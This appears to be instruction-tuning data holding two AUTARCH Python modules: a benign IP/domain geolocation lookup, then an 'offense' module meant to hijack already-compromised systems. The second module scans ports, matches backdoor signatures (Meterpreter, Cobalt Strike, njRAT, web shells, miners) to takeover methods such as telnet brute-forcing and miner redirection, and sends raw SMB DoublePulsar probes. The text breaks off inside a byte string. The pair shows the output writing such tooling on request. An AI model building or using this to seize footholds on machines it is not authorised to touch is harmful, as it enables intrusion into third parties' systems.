Instruction: Create an AUTARCH module in the 'osint' category that get geolocation for ips, domains, and urls. The module should follow AUTARCH conventions with DESCRIPTION, AUTHOR, VERSION, CATEGORY attributes and a run() entry point function.

Input:
Module name: geoip
Category: osint
Description: Get geolocation for IPs, domains, and URLs

Output:
"""
AUTARCH GEO IP/Domain Lookup Module
Get geolocation info for IPs, domains, and URLs
Based on Snoop Project's GEO_IP/domain plugin
"""

import ipaddress
import json
import os
import socket
import sys
import threading
import time
from pathlib import Path
from urllib.parse import urlparse

# Add parent directory to path for imports
sys.path.insert(0, str(Path(__file__).parent.parent))

from core.banner import Colors

# Module metadata
NAME = "GEO IP Lookup"
DESCRIPTION = "Get geolocation for IPs, domains, and URLs"
AUTHOR = "darkHal Security Group"
VERSION = "1.0"
CATEGORY = "osint"

# Try to import requests
try:
    import requests
except ImportError:
    requests = None

class GeoIPLookup:
    """GEO IP/Domain lookup utility."""

    def __init__(self):
        self.session = None
        self.timeout = 10
        self.user_agent = "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 Chrome/120.0.0.0 Safari/537.36"
        self._init_session()

    def _init_session(self):
        """Initialize requests session."""
        if requests is None:
            return

        self.session = requests.Session()
        adapter = requests.adapters.HTTPAdapter(max_retries=2)
        self.session.mount('https://', adapter)
        self.session.mount('http://', adapter)
        self.session.headers.update({'User-Agent': self.user_agent})

    def _resolve_domain(self, target: str, timeout: int = 4) -> dict:
        """Resolve domain to IP addresses.

        Args:
            target: Domain name or IP address.
            timeout: Socket timeout in seconds.

        Returns:
            Dict with resolved IPs and domain info.
        """
        result = {
            'domain': None,
            'ipv4': None,
            'ipv6': None,
        }

        def get_fqdn():
            try:
                result['domain'] = socket.getfqdn(target)
            except Exception:
                result['domain'] = target

        def get_ips():
            try:
                addr_info = socket.getaddrinfo(target, 443)
                for info in addr_info:
                    ip = info[4][0]
                    try:
                        if ipaddress.IPv4Address(ip):
                            result['ipv4'] = ip
                    except Exception:
                        pass
                    try:
                        if ipaddress.IPv6Address(ip):
                            result['ipv6'] = ip
                    except Exception:
                        pass
            except Exception:
                pass

        # Run in threads with timeout
        t1 = threading.Thread(target=get_fqdn)
        t2 = threading.Thread(target=get_ips)
        t1.start()
        t2.start()
        t1.join(timeout)
        t2.join(timeout)

        return result

    def _parse_target(self, target: str) -> str:
        """Parse and clean target input.

        Args:
            target: User input (IP, domain, or URL).

        Returns:
            Cleaned target string.
        """
        target = target.strip()

        # Check if it's a URL
        if '://' in target:
            parsed = urlparse(target)
            if parsed.hostname:
                target = parsed.hostname.replace('www.', '')
        elif '/' in target:
            target = target.split('/')[0]

        return target

    def _is_ip(self, target: str) -> bool:
        """Check if target is an IP address."""
        try:
            ipaddress.ip_address(target)
            return True
        except Exception:
            return False

    def lookup(self, target: str) -> dict:
        """Perform GEO IP lookup.

        Args:
            target: IP address, domain, or URL.

        Returns:
            Dict with geolocation information.
        """
        if self.session is None:
            return {'error': 'requests library not available'}

        target = self._parse_target(target)

        # Validate input
        if not target or len(target) < 4:
            return {'error': 'Invalid target'}

        if '..' in target:
            return {'error': 'Invalid target format'}

        result = {
            'target': target,
            'country_code': None,
            'country': None,
            'region': None,
            'city': None,
            'latitude': None,
            'longitude': None,
            'isp': None,
            'org': None,
            'ipv4': None,
            'ipv6': None,
            'domain': None,
            'map_osm': None,
            'map_google': None,
        }

        # Resolve domain/IP
        print(f"{Colors.CYAN}[*] Resolving target...{Colors.RESET}")
        resolved = self._resolve_domain(target)
        result['domain'] = resolved.get('domain')
        result['ipv4'] = resolved.get('ipv4')
        result['ipv6'] = resolved.get('ipv6')

        # If target is IP, use it directly
        if self._is_ip(target):
            try:
                if ipaddress.IPv4Address(target):
                    result['ipv4'] = target
            except Exception:
                pass
            try:
                if ipaddress.IPv6Address(target):
                    result['ipv6'] = target
            except Exception:
                pass

        # Determine IP to lookup
        lookup_ip = result['ipv4'] or target

        # Try ipwho.is first
        print(f"{Colors.CYAN}[*] Querying geolocation APIs...{Colors.RESET}")
        geo_data = self._query_ipwhois(lookup_ip)

        if not geo_data or geo_data.get('success') is False:
            # Fallback to ipinfo.io
            geo_data = self._query_ipinfo(lookup_ip)

        if geo_data:
            result['country_code'] = geo_data.get('country_code') or geo_data.get('country')
            result['country'] = geo_data.get('country_name') or geo_data.get('country')
            result['region'] = geo_data.get('region')
            result['city'] = geo_data.get('city')
            result['latitude'] = geo_data.get('latitude') or geo_data.get('lat')
            result['longitude'] = geo_data.get('longitude') or geo_data.get('lon')
            result['isp'] = geo_data.get('isp') or geo_data.get('org')
            result['org'] = geo_data.get('org')

            if not result['ipv4']:
                result['ipv4'] = geo_data.get('ip')

        # Generate map links
        if result['latitude'] and result['longitude']:
            lat, lon = result['latitude'], result['longitude']
            result['map_osm'] = f"https://www.openstreetmap.org/#map=13/{lat}/{lon}"
            result['map_google'] = f"https://www.google.com/maps/@{lat},{lon},12z"

        return result

    def _query_ipwhois(self, ip: str) -> dict:
        """Query ipwho.is API.

        Args:
            ip: IP address to lookup.

        Returns:
            Dict with GEO data or None.
        """
        try:
            url = f"https://ipwho.is/{ip}" if ip else "https://ipwho.is/"
            response = self.session.get(url, timeout=self.timeout)
            data = response.json()

            if data.get('success') is False:
                return None

            return {
                'ip': data.get('ip'),
                'country_code': data.get('country_code'),
                'country_name': data.get('country'),
                'region': data.get('region'),
                'city': data.get('city'),
                'latitude': data.get('latitude'),
                'longitude': data.get('longitude'),
                'isp': data.get('connection', {}).get('isp'),
                'org': data.get('connection', {}).get('org'),
            }
        except Exception as e:
            print(f"{Colors.DIM}    ipwho.is error: {e}{Colors.RESET}")
            return None

    def _query_ipinfo(self, ip: str) -> dict:
        """Query ipinfo.io API.

        Args:
            ip: IP address to lookup.

        Returns:
            Dict with GEO data or None.
        """
        try:
            url = f"https://ipinfo.io/{ip}/json" if ip else "https://ipinfo.io/json"
            response = self.session.get(url, timeout=self.timeout)
            data = response.json()

            loc = data.get('loc', ',').split(',')
            lat = float(loc[0]) if len(loc) > 0 and loc[0] else None
            lon = float(loc[1]) if len(loc) > 1 and loc[1] else None

            return {
                'ip': data.get('ip'),
                'country_code': data.get('country'),
                'country_name': data.get('country'),
                'region': data.get('region'),
                'city': data.get('city'),
                'latitude': lat,
                'longitude': lon,
                'isp': data.get('org'),
                'org': data.get('org'),
            }
        except Exception as e:
            print(f"{Colors.DIM}    ipinfo.io error: {e}{Colors.RESET}")
            return None

    def lookup_self(self) -> dict:
        """Lookup your own public IP.

        Returns:
            Dict with geolocation information.
        """
        print(f"{Colors.CYAN}[*] Looking up your public IP...{Colors.RESET}")
        return self.lookup('')

    def bulk_lookup(self, targets: list) -> list:
        """Perform bulk GEO lookups.

        Args:
            targets: List of IPs/domains to lookup.

        Returns:
            List of result dicts.
        """
        results = []
        for i, target in enumerate(targets):
            print(f"\n{Colors.CYAN}[{i+1}/{len(targets)}] Looking up: {target}{Colors.RESET}")
            result = self.lookup(target)
            results.append(result)
            time.sleep(0.5)  # Rate limiting
        return results

def display_result(result: dict):
    """Display lookup result nicely."""
    if 'error' in result:
        print(f"{Colors.RED}[X] Error: {result['error']}{Colors.RESET}")
        return

    print(f"\n{Colors.CYAN}{'=' * 50}{Colors.RESET}")
    print(f"{Colors.GREEN}{Colors.BOLD}Target:{Colors.RESET} {result['target']}")
    print(f"{Colors.CYAN}{'=' * 50}{Colors.RESET}")

    if result['ipv4']:
        print(f"  {Colors.GREEN}IPv4:{Colors.RESET} {result['ipv4']}")
    if result['ipv6']:
        print(f"  {Colors.GREEN}IPv6:{Colors.RESET} {result['ipv6']}")
    if result['domain'] and result['domain'] != result['target']:
        print(f"  {Colors.GREEN}Domain:{Colors.RESET} {result['domain']}")

    print()

    if result['country_code']:
        country_str = f"{result['country_code']}"
        if result['country'] and result['country'] != result['country_code']:
            country_str += f" ({result['country']})"
        print(f"  {Colors.GREEN}Country:{Colors.RESET} {country_str}")

    if result['region']:
        print(f"  {Colors.GREEN}Region:{Colors.RESET} {result['region']}")
    if result['city']:
        print(f"  {Colors.GREEN}City:{Colors.RESET} {result['city']}")
    if result['isp']:
        print(f"  {Colors.GREEN}ISP:{Colors.RESET} {result['isp']}")

    if result['latitude'] and result['longitude']:
        print(f"\n  {Colors.GREEN}Coordinates:{Colors.RESET} {result['latitude']}, {result['longitude']}")

    if result['map_osm']:
        print(f"\n  {Colors.DIM}OpenStreetMap: {result['map_osm']}{Colors.RESET}")
    if result['map_google']:
        print(f"  {Colors.DIM}Google Maps: {result['map_google']}{Colors.RESET}")

    print()

def display_menu():
    """Display the GEO IP module menu."""
    print(f"""
{Colors.CYAN}  GEO IP/Domain Lookup{Colors.RESET}
{Colors.DIM}  Get geolocation for IPs, domains, and URLs{Colors.RESET}
{Colors.DIM}{'─' * 50}{Colors.RESET}

  {Colors.GREEN}[1]{Colors.RESET} Lookup IP/Domain/URL
  {Colors.GREEN}[2]{Colors.RESET} Lookup My IP
  {Colors.GREEN}[3]{Colors.RESET} Bulk Lookup from File

  {Colors.RED}[0]{Colors.RESET} Back to OSINT Menu
""")

def run():
    """Main entry point for the module."""
    if requests is None:
        print(f"{Colors.RED}[X] This module requires 'requests' library{Colors.RESET}")
        print(f"{Colors.DIM}    Install with: pip install requests{Colors.RESET}")
        input(f"\n{Colors.DIM}Press Enter to continue...{Colors.RESET}")
        return

    lookup = GeoIPLookup()

    while True:
        display_menu()
        choice = input(f"{Colors.GREEN}Select option: {Colors.RESET}").strip()

        if choice == '0':
            break

        elif choice == '1':
            print(f"\n{Colors.CYAN}Enter IP, domain, or URL:{Colors.RESET}")
            print(f"{Colors.DIM}Examples: 8.8.8.8, google.com, https://example.com/path{Colors.RESET}")
            target = input(f"\n{Colors.GREEN}Target: {Colors.RESET}").strip()

            if not target:
                continue

            result = lookup.lookup(target)
            display_result(result)
            input(f"{Colors.DIM}Press Enter to continue...{Colors.RESET}")

        elif choice == '2':
            result = lookup.lookup_self()
            display_result(result)
            input(f"{Colors.DIM}Press Enter to continue...{Colors.RESET}")

        elif choice == '3':
            print(f"\n{Colors.CYAN}Enter path to file with targets (one per line):{Colors.RESET}")
            filepath = input(f"\n{Colors.GREEN}File path: {Colors.RESET}").strip()

            if not filepath or not os.path.exists(filepath):
                print(f"{Colors.RED}[X] File not found{Colors.RESET}")
                continue

            try:
                with open(filepath, 'r') as f:
                    targets = [line.strip() for line in f if line.strip()]

                if not targets:
                    print(f"{Colors.RED}[X] No targets found in file{Colors.RESET}")
                    continue

                print(f"{Colors.GREEN}[+] Found {len(targets)} targets{Colors.RESET}")
                confirm = input(f"\n{Colors.YELLOW}Proceed with lookup? (y/n): {Colors.RESET}").strip().lower()

                if confirm == 'y':
                    results = lookup.bulk_lookup(targets)
                    for result in results:
                        display_result(result)

            except Exception as e:
                print(f"{Colors.RED}[X] Error reading file: {e}{Colors.RESET}")

            input(f"\n{Colors.DIM}Press Enter to continue...{Colors.RESET}")

        else:
            print(f"{Colors.RED}[!] Invalid option{Colors.RESET}")

if __name__ == "__main__":
    run()


Instruction: Create an AUTARCH module in the 'offense' category that hijack already-compromised systems. The module should follow AUTARCH conventions with DESCRIPTION, AUTHOR, VERSION, CATEGORY attributes and a run() entry point function.

Input:
Module name: hack_hijack
Category: offense
Description: Hijack already-compromised systems

Output:
"""AUTARCH Hack Hijack Module

Scans target systems for signs of existing compromise — open backdoors,
known exploit artifacts, rogue services, suspicious listeners — then
provides tools to take over those footholds.

Detection signatures include:
- EternalBlue/DoublePulsar (MS17-010) backdoors
- Common RAT listeners (Meterpreter, Cobalt Strike, njRAT, etc.)
- Known backdoor ports and banner fingerprints
- Web shells on HTTP services
- Suspicious SSH authorized_keys or rogue SSHD
- Open reverse-shell listeners
- Rogue SOCKS/HTTP proxies
- Cryptocurrency miners
"""

DESCRIPTION = "Hijack already-compromised systems"
AUTHOR = "darkHal"
VERSION = "1.0"
CATEGORY = "offense"

import os
import json
import time
import socket
import struct
import threading
import subprocess
from datetime import datetime, timezone
from pathlib import Path
from typing import Dict, List, Optional, Any
from dataclasses import dataclass, field

try:
    from core.paths import find_tool, get_data_dir
except ImportError:
    import shutil
    def find_tool(name):
        return shutil.which(name)
    def get_data_dir():
        return str(Path(__file__).parent.parent / 'data')

# ── Known Backdoor Signatures ────────────────────────────────────────────────

@dataclass
class BackdoorSignature:
    name: str
    port: int
    protocol: str  # tcp / udp
    banner_pattern: str = ''       # regex or substring in banner
    probe: bytes = b''             # bytes to send to trigger banner
    description: str = ''
    category: str = 'generic'      # eternalblue, rat, webshell, miner, proxy, shell
    takeover_method: str = ''      # how to hijack

# Port-based detection signatures
BACKDOOR_SIGNATURES: List[BackdoorSignature] = [
    # ── EternalBlue / DoublePulsar ────────────────────────────────────────
    BackdoorSignature(
        name='DoublePulsar SMB Backdoor',
        port=445,
        protocol='tcp',
        description='NSA DoublePulsar implant via EternalBlue (MS17-010). '
                    'Detected by SMB Trans2 SESSION_SETUP anomaly.',
        category='eternalblue',
        takeover_method='doublepulsar_inject',
    ),

    # ── Common RAT / C2 Listeners ─────────────────────────────────────────
    BackdoorSignature(
        name='Meterpreter Reverse TCP',
        port=4444,
        protocol='tcp',
        banner_pattern='',
        description='Default Metasploit Meterpreter reverse TCP handler.',
        category='rat',
        takeover_method='meterpreter_session',
    ),
    BackdoorSignature(
        name='Meterpreter Bind TCP',
        port=4444,
        protocol='tcp',
        banner_pattern='',
        description='Metasploit bind shell / Meterpreter bind TCP.',
        category='rat',
        takeover_method='meterpreter_connect',
    ),
    BackdoorSignature(
        name='Cobalt Strike Beacon (HTTPS)',
        port=443,
        protocol='tcp',
        banner_pattern='',
        description='Cobalt Strike default HTTPS beacon listener.',
        category='rat',
        takeover_method='beacon_takeover',
    ),
    BackdoorSignature(
        name='Cobalt Strike Beacon (HTTP)',
        port=80,
        protocol='tcp',
        banner_pattern='',
        description='Cobalt Strike HTTP beacon listener.',
        category='rat',
        takeover_method='beacon_takeover',
    ),
    BackdoorSignature(
        name='Cobalt Strike DNS',
        port=53,
        protocol='udp',
        description='Cobalt Strike DNS beacon channel.',
        category='rat',
        takeover_method='dns_tunnel_hijack',
    ),
    BackdoorSignature(
        name='njRAT',
        port=5552,
        protocol='tcp',
        banner_pattern='njRAT',
        description='njRAT default C2 port.',
        category='rat',
        takeover_method='generic_connect',
    ),
    BackdoorSignature(
        name='DarkComet',
        port=1604,
        protocol='tcp',
        banner_pattern='',
        description='DarkComet RAT default port.',
        category='rat',
        takeover_method='generic_connect',
    ),
    BackdoorSignature(
        name='Quasar RAT',
        port=4782,
        protocol='tcp',
        description='Quasar RAT default listener.',
        category='rat',
        takeover_method='generic_connect',
    ),
    BackdoorSignature(
        name='AsyncRAT',
        port=6606,
        protocol='tcp',
        description='AsyncRAT default C2 port.',
        category='rat',
        takeover_method='generic_connect',
    ),
    BackdoorSignature(
        name='Gh0st RAT',
        port=8000,
        protocol='tcp',
        banner_pattern='Gh0st',
        probe=b'Gh0st\x00',
        description='Gh0st RAT C2 communication.',
        category='rat',
        takeover_method='generic_connect',
    ),
    BackdoorSignature(
        name='Poison Ivy',
        port=3460,
        protocol='tcp',
        description='Poison Ivy RAT default port.',
        category='rat',
        takeover_method='generic_connect',
    ),

    # ── Shell Backdoors ───────────────────────────────────────────────────
    BackdoorSignature(
        name='Netcat Listener',
        port=4445,
        protocol='tcp',
        description='Common netcat reverse/bind shell port.',
        category='shell',
        takeover_method='raw_shell',
    ),
    BackdoorSignature(
        name='Bind Shell (31337)',
        port=31337,
        protocol='tcp',
        description='Classic "elite" backdoor port.',
        category='shell',
        takeover_method='raw_shell',
    ),
    BackdoorSignature(
        name='Bind Shell (1337)',
        port=1337,
        protocol='tcp',
        description='Common backdoor/bind shell port.',
        category='shell',
        takeover_method='raw_shell',
    ),
    BackdoorSignature(
        name='Telnet Backdoor',
        port=23,
        protocol='tcp',
        banner_pattern='login:',
        description='Telnet service — often left open with weak/default creds.',
        category='shell',
        takeover_method='telnet_bruteforce',
    ),

    # ── Web Shells ────────────────────────────────────────────────────────
    BackdoorSignature(
        name='PHP Web Shell (8080)',
        port=8080,
        protocol='tcp',
        banner_pattern='',
        description='HTTP service on non-standard port — check for web shells.',
        category='webshell',
        takeover_method='webshell_detect',
    ),
    BackdoorSignature(
        name='PHP Web Shell (8888)',
        port=8888,
        protocol='tcp',
        description='HTTP service on port 8888 — common web shell host.',
        category='webshell',
        takeover_method='webshell_detect',
    ),

    # ── Proxies / Tunnels ─────────────────────────────────────────────────
    BackdoorSignature(
        name='SOCKS Proxy',
        port=1080,
        protocol='tcp',
        description='SOCKS proxy — may be a pivot point.',
        category='proxy',
        takeover_method='socks_connect',
    ),
    BackdoorSignature(
        name='SOCKS5 Proxy (9050)',
        port=9050,
        protocol='tcp',
        description='Tor SOCKS proxy or attacker pivot.',
        category='proxy',
        takeover_method='socks_connect',
    ),
    BackdoorSignature(
        name='HTTP Proxy (3128)',
        port=3128,
        protocol='tcp',
        description='Squid/HTTP proxy — possible attacker tunnel.',
        category='proxy',
        takeover_method='http_proxy_use',
    ),
    BackdoorSignature(
        name='SSH Tunnel (2222)',
        port=2222,
        protocol='tcp',
        banner_pattern='SSH-',
        description='Non-standard SSH — possibly attacker-planted SSHD.',
        category='shell',
        takeover_method='ssh_connect',
    ),

    # ── Miners ────────────────────────────────────────────────────────────
    BackdoorSignature(
        name='Cryptominer Stratum',
        port=3333,
        protocol='tcp',
        banner_pattern='mining',
        description='Stratum mining protocol — cryptojacking indicator.',
        category='miner',
        takeover_method='miner_redirect',
    ),
    BackdoorSignature(
        name='Cryptominer (14444)',
        port=14444,
        protocol='tcp',
        description='Common XMR mining pool port.',
        category='miner',
        takeover_method='miner_redirect',
    ),
]

# Additional ports to probe beyond signature list
EXTRA_SUSPICIOUS_PORTS = [
    1234, 1337, 2323, 3389, 4321, 4443, 4444, 4445, 5555, 5900,
    6660, 6666, 6667, 6697, 7777, 8443, 9001, 9090, 9999,
    12345, 17321, 17322, 20000, 27015, 31337, 33890, 40000,
    41337, 43210, 50000, 54321, 55553, 65535,
]

# ── Scan Result Types ─────────────────────────────────────────────────────────

@dataclass
class PortResult:
    port: int
    protocol: str
    state: str  # open, closed, filtered
    banner: str = ''
    service: str = ''

@dataclass
class BackdoorHit:
    signature: str         # name from BackdoorSignature
    port: int
    confidence: str        # high, medium, low
    banner: str = ''
    details: str = ''
    category: str = ''
    takeover_method: str = ''

@dataclass
class ScanResult:
    target: str
    scan_time: str
    duration: float
    open_ports: List[PortResult] = field(default_factory=list)
    backdoors: List[BackdoorHit] = field(default_factory=list)
    os_guess: str = ''
    smb_info: Dict[str, Any] = field(default_factory=dict)
    nmap_raw: str = ''

    def to_dict(self) -> dict:
        return {
            'target': self.target,
            'scan_time': self.scan_time,
            'duration': round(self.duration, 2),
            'open_ports': [
                {'port': p.port, 'protocol': p.protocol,
                 'state': p.state, 'banner': p.banner, 'service': p.service}
                for p in self.open_ports
            ],
            'backdoors': [
                {'signature': b.signature, 'port': b.port,
                 'confidence': b.confidence, 'banner': b.banner,
                 'details': b.details, 'category': b.category,
                 'takeover_method': b.takeover_method}
                for b in self.backdoors
            ],
            'os_guess': self.os_guess,
            'smb_info': self.smb_info,
        }

# ── Hack Hijack Service ──────────────────────────────────────────────────────

class HackHijackService:
    """Scans for existing compromises and provides takeover capabilities."""

    def __init__(self):
        self._data_dir = os.path.join(get_data_dir(), 'hack_hijack')
        os.makedirs(self._data_dir, exist_ok=True)
        self._scans_file = os.path.join(self._data_dir, 'scans.json')
        self._scans: List[dict] = []
        self._load_scans()
        self._active_sessions: Dict[str, dict] = {}

    def _load_scans(self):
        if os.path.exists(self._scans_file):
            try:
                with open(self._scans_file, 'r') as f:
                    self._scans = json.load(f)
            except Exception:
                self._scans = []

    def _save_scans(self):
        with open(self._scans_file, 'w') as f:
            json.dump(self._scans[-100:], f, indent=2)  # keep last 100

    # ── Port Scanning ─────────────────────────────────────────────────────

    def scan_target(self, target: str, scan_type: str = 'quick',
                    custom_ports: List[int] = None,
                    timeout: float = 3.0,
                    progress_cb=None,
                    port_found_cb=None,
                    status_cb=None) -> ScanResult:
        """Scan a target for open ports and backdoor indicators.

        scan_type: 'quick' (signature ports only), 'full' (signature + extra),
                   'nmap' (use nmap if available), 'custom' (user-specified ports)
        """
        start = time.time()
        result = ScanResult(
            target=target,
            scan_time=datetime.now(timezone.utc).isoformat(),
            duration=0.0,
        )

        # Build port list
        ports = set()
        if scan_type == 'custom' and custom_ports:
            ports = set(custom_ports)
        else:
            # Always include signature ports
            for sig in BACKDOOR_SIGNATURES:
                ports.add(sig.port)
            if scan_type in ('full', 'nmap'):
                ports.update(EXTRA_SUSPICIOUS_PORTS)

        # Try nmap first if requested and available
        if scan_type == 'nmap':
            if status_cb:
                status_cb('Running nmap scan…')
            nmap_result = self._nmap_scan(target, ports, timeout)
            if nmap_result:
                result.open_ports = nmap_result.get('ports', [])
                result.os_guess = nmap_result.get('os', '')
                result.nmap_raw = nmap_result.get('raw', '')
                if port_found_cb:
                    for pr in result.open_ports:
                        port_found_cb(pr)

        # Fallback: socket-based scan
        if not result.open_ports:
            sorted_ports = sorted(ports)
            total = len(sorted_ports)
            results_lock = threading.Lock()
            open_ports = []
            scanned = [0]

            if status_cb:
                status_cb(f'Socket scanning {total} ports on {target}…')

            def scan_port(port, idx):
                pr = self._check_port(target, port, timeout)
                with results_lock:
                    scanned[0] += 1
                    done = scanned[0]
                if pr and pr.state == 'open':
                    with results_lock:
                        open_ports.append(pr)
                    if port_found_cb:
                        port_found_cb(pr)
                if progress_cb and done % 10 == 0:
                    progress_cb(done, total, f'Scanning port {port}…')

            # Threaded scan — 50 concurrent threads
            threads = []
            for i, port in enumerate(sorted_ports):
                t = threading.Thread(target=scan_port, args=(port, i), daemon=True)
                threads.append(t)
                t.start()
                if len(threads) >= 50:
                    for t in threads:
                        t.join(timeout=timeout + 2)
                    threads.clear()
            for t in threads:
                t.join(timeout=timeout + 2)

            if progress_cb:
                progress_cb(total, total, 'Scan complete')

            result.open_ports = sorted(open_ports, key=lambda p: p.port)

        # Match open ports against backdoor signatures
        result.backdoors = self._match_signatures(target, result.open_ports, timeout)

        # Check SMB specifically for EternalBlue
        if any(p.port == 445 and p.state == 'open' for p in result.open_ports):
            result.smb_info = self._check_smb(target, timeout)
            # Check DoublePulsar
            dp_result = self._check_doublepulsar(target, timeout)
            if dp_result:
                result.backdoors.append(dp_result)

        result.duration = time.time() - start

        # Save scan
        scan_dict = result.to_dict()
        self._scans.append(scan_dict)
        self._save_scans()

        return result

    def _check_port(self, host: str, port: int, timeout: float) -> Optional[PortResult]:
        """TCP connect scan on a single port with banner grab."""
        try:
            sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            sock.settimeout(timeout)
            result = sock.connect_ex((host, port))
            if result == 0:
                banner = ''
                service = ''
                try:
                    # Try to grab banner
                    sock.settimeout(2.0)
                    # Send probe for known ports
                    probe = self._get_probe(port)
                    if probe:
                        sock.send(probe)
                    banner = sock.recv(1024).decode('utf-8', errors='replace').strip()
                    service = self._identify_service(port, banner)
                except Exception:
                    service = self._identify_service(port, '')
                sock.close()
                return PortResult(port=port, protocol='tcp', state='open',
                                  banner=banner[:512], service=service)
            sock.close()
        except Exception:
            pass
        return None

    def _get_probe(self, port: int) -> bytes:
        """Return an appropriate probe for known ports."""
        probes = {
            21: b'',        # FTP sends banner automatically
            22: b'',        # SSH sends banner automatically
            23: b'',        # Telnet sends banner automatically
            25: b'',        # SMTP sends banner
            80: b'GET / HTTP/1.0\r\nHost: localhost\r\n\r\n',
            110: b'',       # POP3 banner
            143: b'',       # IMAP banner
            443: b'',       # HTTPS — won't get plaintext banner
            3306: b'',      # MySQL banner
            3389: b'',      # RDP — binary protocol
            5432: b'',      # PostgreSQL
            6379: b'INFO\r\n',  # Redis
            8080: b'GET / HTTP/1.0\r\nHost: localhost\r\n\r\n',
            8443: b'',
            8888: b'GET / HTTP/1.0\r\nHost: localhost\r\n\r\n',
            27017: b'',     # MongoDB
        }
        # Check backdoor signatures for specific probes
        for sig in BACKDOOR_SIGNATURES:
            if sig.port == port and sig.probe:
                return sig.probe
        return probes.get(port, b'')

    def _identify_service(self, port: int, banner: str) -> str:
        """Identify service from port number and banner."""
        bl = banner.lower()
        if 'ssh-' in bl:
            return 'SSH'
        if 'ftp' in bl:
            return 'FTP'
        if 'smtp' in bl or '220 ' in bl:
            return 'SMTP'
        if 'http' in bl:
            return 'HTTP'
        if 'mysql' in bl:
            return 'MySQL'
        if 'redis' in bl:
            return 'Redis'
        if 'mongo' in bl:
            return 'MongoDB'
        if 'postgresql' in bl:
            return 'PostgreSQL'

        well_known = {
            21: 'FTP', 22: 'SSH', 23: 'Telnet', 25: 'SMTP',
            53: 'DNS', 80: 'HTTP', 110: 'POP3', 143: 'IMAP',
            443: 'HTTPS', 445: 'SMB', 993: 'IMAPS', 995: 'POP3S',
            1080: 'SOCKS', 1433: 'MSSQL', 1521: 'Oracle',
            3306: 'MySQL', 3389: 'RDP', 5432: 'PostgreSQL',
            5900: 'VNC', 6379: 'Redis', 8080: 'HTTP-Alt',
            8443: 'HTTPS-Alt', 27017: 'MongoDB',
        }
        return well_known.get(port, 'unknown')

    def _match_signatures(self, host: str, open_ports: List[PortResult],
                          timeout: float) -> List[BackdoorHit]:
        """Match open ports against backdoor signatures."""
        hits = []
        port_map = {p.port: p for p in open_ports}

        for sig in BACKDOOR_SIGNATURES:
            if sig.port not in port_map:
                continue
            port_info = port_map[sig.port]
            confidence = 'low'
            details = ''

            # Banner match raises confidence
            if sig.banner_pattern and sig.banner_pattern.lower() in port_info.banner.lower():
                confidence = 'high'
                details = f'Banner matches: {sig.banner_pattern}'
            elif port_info.banner:
                # Port open with some banner — medium
                confidence = 'medium'
                details = f'Port open, banner: {port_info.banner[:100]}'
            else:
                # Port open but no banner — check if it's a well-known service
                if port_info.service in ('SSH', 'HTTP', 'HTTPS', 'FTP', 'SMTP',
                                          'DNS', 'MySQL', 'PostgreSQL', 'RDP'):
                    # Legitimate service likely — low confidence for backdoor
                    confidence = 'low'
                    details = f'Port open — likely legitimate {port_info.service}'
                else:
                    confidence = 'medium'
                    details = 'Port open, no banner — suspicious'

            hits.append(BackdoorHit(
                signature=sig.name,
                port=sig.port,
                confidence=confidence,
                banner=port_info.banner[:256],
                details=details,
                category=sig.category,
                takeover_method=sig.takeover_method,
            ))

        return hits

    # ── SMB / EternalBlue Detection ───────────────────────────────────────

    def _check_smb(self, host: str, timeout: float) -> dict:
        """Check SMB service details."""
        info = {'vulnerable': False, 'version': '', 'os': '', 'signing': ''}
        nmap = find_tool('nmap')
        if not nmap:
            return info
        try:
            cmd = [nmap, '-Pn', '-p', '445', '--script',
                   'smb-os-discovery,smb-security-mode,smb-vuln-ms17-010',
                   '-oN', '-', host]
            result = subprocess.run(cmd, capture_output=True, text=True,
                                    timeout=30)
            output = result.stdout
            info['raw'] = output
            if 'VULNERABLE' in output or 'ms17-010' in output.lower():
                info['vulnerable'] = True
            if 'OS:' in output:
                for line in output.splitlines():
                    if 'OS:' in line:
                        info['os'] = line.split('OS:')[1].strip()
                        break
            if 'message_signing' in output.lower():
                if 'disabled' in output.lower():
                    info['signing'] = 'disabled'
                elif 'enabled' in output.lower():
                    info['signing'] = 'enabled'
        except Exception as e:
            info['error'] = str(e)
        return info

    def _check_doublepulsar(self, host: str, timeout: float) -> Optional[BackdoorHit]:
        """Check for DoublePulsar SMB implant via Trans2 SESSION_SETUP probe.

        DoublePulsar responds to a specific SMB Trans2 SESSION_SETUP with
        a modified multiplex ID (STATUS_NOT_IMPLEMENTED + MID manipulation).
        """
        try:
            sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            sock.settimeout(timeout)
            sock.connect((host, 445))

            # SMB negotiate
            negotiate = (
                b'\x00\x00\x00\x85'  # NetBIOS
                b'\xff\x53\x4d\x42'  # SMB
                b'\x72'              # Negotiate
                b'\x00\x00\x00\x00'  # Status
                b'\x18\x53\xc0'      # Flags
                b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
                b'\x00\x00\xff\xff\xff\xfe\x00\x00'
                b'\x00\x00\x00\x00\x00\x62\x00'
                b'\x02\x50\x43\x20\x4e\x45\x54\x57\x4f\x52\x4b'
                b'\x20\x50\x52\x4f\x47\x52\x41\x4d\x20\x31\x2e'
                b'\x30\x00\x02\x4c\x41\x4e\x4d\x41\x4e\x31\x2e'
                b'\x30\x00\x02\x57\x69\x6e\x64\x6f\x77\x73\x20'
                b'\x66\x6f\x72\x20\x57\x6f\x72\x6b\x67\x72\x6f'
                b'\x75\x70\x73\x20\x33\x2e\x31\x61\x00\x02\x4c'
                b'\x4d\x31\x2e\x32\x58\x30\x30\x32\x00\x02\x4c'
                b'\x41\x4e\x4d\x41\x4e\x32\x2e\x31\x00\x02\x4e'
                b'\x54\x20\x4c\x4d\x20\x30\x2e\x31\x32\x00'
            )
            sock.send(negotiate)
            sock.recv(1024)

            # SMB Trans2 SESSION_SETUP (DoublePulsar detection probe)
            trans2 = (
                b'\x00\x00\x00\x4e'  # NetBIOS
                b'\xff\x53\x4d\x42'  # SMB header
                b'\x32'              # Trans2
                b'\x00\x00\x00\x00'  # Status
                b'\x18\x07\xc0'      # Flags
                b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
                b'\x00\x00\x00\x00\xff\xfe\x00\x08'  # MID=0x0800
                b'\x00\x00\x0f\x0c\x00\x00\x00\x01'
                b'\x00\x00\x00\x00\x00\x00\x00'
                b'\xa6\xd9\xa4\x00\x00\x00\x00\x00'
                b'\x00\x0e\x00\x00\x00\x0c\x00\x42\x00'
                b'\x00\x00\x00\x00\x01\x00\x0e\x00'
